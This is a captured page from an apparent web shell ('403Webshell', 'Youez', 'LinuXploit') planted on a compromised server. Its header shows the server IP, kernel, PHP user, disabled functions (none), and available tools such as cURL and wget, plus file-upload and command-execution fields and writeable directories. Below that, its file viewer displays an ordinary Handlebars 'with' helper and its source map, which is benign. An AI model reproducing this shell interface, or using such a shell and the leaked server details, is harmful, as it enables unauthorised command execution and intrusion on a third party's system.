403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/node_modules/handlebars/dist/cjs/handlebars/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js
/*istanbul ignore next*/
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = _default;

var
/*istanbul ignore next*/
_utils = require("../utils");

var
/*istanbul ignore next*/
_exception = _interopRequireDefault(require("../exception"));

/*istanbul ignore next*/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }

function
/*istanbul ignore next*/
_default(instance) {
  instance.registerHelper('with', function (context, options) {
    if (arguments.length != 2) {
      throw new
      /*istanbul ignore next*/
      _exception[
      /*istanbul ignore next*/
      "default"]('#with requires exactly one argument');
    }

    if (
    /*istanbul ignore next*/
    (0,
    /*istanbul ignore next*/
    _utils.
    /*istanbul ignore next*/
    isFunction)(context)) {
      context = context.call(this);
    }

    var fn = options.fn;

    if (!
    /*istanbul ignore next*/
    (0,
    /*istanbul ignore next*/
    _utils.
    /*istanbul ignore next*/
    isEmpty)(context)) {
      var data = options.data;

      if (options.data && options.ids) {
        data =
        /*istanbul ignore next*/
        (0,
        /*istanbul ignore next*/
        _utils.
        /*istanbul ignore next*/
        createFrame)(options.data);
        data.contextPath =
        /*istanbul ignore next*/
        (0,
        /*istanbul ignore next*/
        _utils.
        /*istanbul ignore next*/
        appendContextPath)(options.data.contextPath, options.ids[0]);
      }

      return fn(context, {
        data: data,
        blockParams:
        /*istanbul ignore next*/
        (0,
        /*istanbul ignore next*/
        _utils.
        /*istanbul ignore next*/
        blockParams)([context], [data && data.contextPath])
      });
    } else {
      return options.inverse(this);
    }
  });
}

/*istanbul ignore next*/
module.exports = exports.default;
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uLy4uLy4uL2xpYi9oYW5kbGViYXJzL2hlbHBlcnMvd2l0aC5qcyJdLCJuYW1lcyI6WyJpbnN0YW5jZSIsInJlZ2lzdGVySGVscGVyIiwiY29udGV4dCIsIm9wdGlvbnMiLCJhcmd1bWVudHMiLCJsZW5ndGgiLCJFeGNlcHRpb24iLCJpc0Z1bmN0aW9uIiwiY2FsbCIsImZuIiwiaXNFbXB0eSIsImRhdGEiLCJpZHMiLCJjcmVhdGVGcmFtZSIsImNvbnRleHRQYXRoIiwiYXBwZW5kQ29udGV4dFBhdGgiLCJibG9ja1BhcmFtcyIsImludmVyc2UiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7O0FBQUE7QUFBQTtBQUFBOztBQU9BO0FBQUE7QUFBQTs7OztBQUVlO0FBQUE7QUFBQSxTQUFTQSxRQUFULEVBQW1CO0FBQ2hDQSxFQUFBQSxRQUFRLENBQUNDLGNBQVQsQ0FBd0IsTUFBeEIsRUFBZ0MsVUFBU0MsT0FBVCxFQUFrQkMsT0FBbEIsRUFBMkI7QUFDekQsUUFBSUMsU0FBUyxDQUFDQyxNQUFWLElBQW9CLENBQXhCLEVBQTJCO0FBQ3pCLFlBQU07QUFBSUM7QUFBQUE7QUFBQUE7QUFBQUEsZ0JBQUosQ0FBYyxxQ0FBZCxDQUFOO0FBQ0Q7O0FBQ0Q7QUFBSTtBQUFBO0FBQUFDO0FBQUFBO0FBQUFBO0FBQUFBLGdCQUFXTCxPQUFYLENBQUosRUFBeUI7QUFDdkJBLE1BQUFBLE9BQU8sR0FBR0EsT0FBTyxDQUFDTSxJQUFSLENBQWEsSUFBYixDQUFWO0FBQ0Q7O0FBRUQsUUFBSUMsRUFBRSxHQUFHTixPQUFPLENBQUNNLEVBQWpCOztBQUVBLFFBQUk7QUFBQztBQUFBO0FBQUFDO0FBQUFBO0FBQUFBO0FBQUFBLGFBQVFSLE9BQVIsQ0FBTCxFQUF1QjtBQUNyQixVQUFJUyxJQUFJLEdBQUdSLE9BQU8sQ0FBQ1EsSUFBbkI7O0FBQ0EsVUFBSVIsT0FBTyxDQUFDUSxJQUFSLElBQWdCUixPQUFPLENBQUNTLEdBQTVCLEVBQWlDO0FBQy9CRCxRQUFBQSxJQUFJO0FBQUc7QUFBQTtBQUFBRTtBQUFBQTtBQUFBQTtBQUFBQSxxQkFBWVYsT0FBTyxDQUFDUSxJQUFwQixDQUFQO0FBQ0FBLFFBQUFBLElBQUksQ0FBQ0csV0FBTDtBQUFtQjtBQUFBO0FBQUFDO0FBQUFBO0FBQUFBO0FBQUFBLDJCQUNqQlosT0FBTyxDQUFDUSxJQUFSLENBQWFHLFdBREksRUFFakJYLE9BQU8sQ0FBQ1MsR0FBUixDQUFZLENBQVosQ0FGaUIsQ0FBbkI7QUFJRDs7QUFFRCxhQUFPSCxFQUFFLENBQUNQLE9BQUQsRUFBVTtBQUNqQlMsUUFBQUEsSUFBSSxFQUFFQSxJQURXO0FBRWpCSyxRQUFBQSxXQUFXO0FBQUU7QUFBQTtBQUFBQTtBQUFBQTtBQUFBQTtBQUFBQSxxQkFBWSxDQUFDZCxPQUFELENBQVosRUFBdUIsQ0FBQ1MsSUFBSSxJQUFJQSxJQUFJLENBQUNHLFdBQWQsQ0FBdkI7QUFGSSxPQUFWLENBQVQ7QUFJRCxLQWRELE1BY087QUFDTCxhQUFPWCxPQUFPLENBQUNjLE9BQVIsQ0FBZ0IsSUFBaEIsQ0FBUDtBQUNEO0FBQ0YsR0EzQkQ7QUE0QkQiLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQge1xuICBhcHBlbmRDb250ZXh0UGF0aCxcbiAgYmxvY2tQYXJhbXMsXG4gIGNyZWF0ZUZyYW1lLFxuICBpc0VtcHR5LFxuICBpc0Z1bmN0aW9uXG59IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCBFeGNlcHRpb24gZnJvbSAnLi4vZXhjZXB0aW9uJztcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24oaW5zdGFuY2UpIHtcbiAgaW5zdGFuY2UucmVnaXN0ZXJIZWxwZXIoJ3dpdGgnLCBmdW5jdGlvbihjb250ZXh0LCBvcHRpb25zKSB7XG4gICAgaWYgKGFyZ3VtZW50cy5sZW5ndGggIT0gMikge1xuICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbignI3dpdGggcmVxdWlyZXMgZXhhY3RseSBvbmUgYXJndW1lbnQnKTtcbiAgICB9XG4gICAgaWYgKGlzRnVuY3Rpb24oY29udGV4dCkpIHtcbiAgICAgIGNvbnRleHQgPSBjb250ZXh0LmNhbGwodGhpcyk7XG4gICAgfVxuXG4gICAgbGV0IGZuID0gb3B0aW9ucy5mbjtcblxuICAgIGlmICghaXNFbXB0eShjb250ZXh0KSkge1xuICAgICAgbGV0IGRhdGEgPSBvcHRpb25zLmRhdGE7XG4gICAgICBpZiAob3B0aW9ucy5kYXRhICYmIG9wdGlvbnMuaWRzKSB7XG4gICAgICAgIGRhdGEgPSBjcmVhdGVGcmFtZShvcHRpb25zLmRhdGEpO1xuICAgICAgICBkYXRhLmNvbnRleHRQYXRoID0gYXBwZW5kQ29udGV4dFBhdGgoXG4gICAgICAgICAgb3B0aW9ucy5kYXRhLmNvbnRleHRQYXRoLFxuICAgICAgICAgIG9wdGlvbnMuaWRzWzBdXG4gICAgICAgICk7XG4gICAgICB9XG5cbiAgICAgIHJldHVybiBmbihjb250ZXh0LCB7XG4gICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgIGJsb2NrUGFyYW1zOiBibG9ja1BhcmFtcyhbY29udGV4dF0sIFtkYXRhICYmIGRhdGEuY29udGV4dFBhdGhdKVxuICAgICAgfSk7XG4gICAgfSBlbHNlIHtcbiAgICAgIHJldHVybiBvcHRpb25zLmludmVyc2UodGhpcyk7XG4gICAgfVxuICB9KTtcbn1cbiJdfQ==

Youez - 2016 - github.com/yon3zu
LinuXploit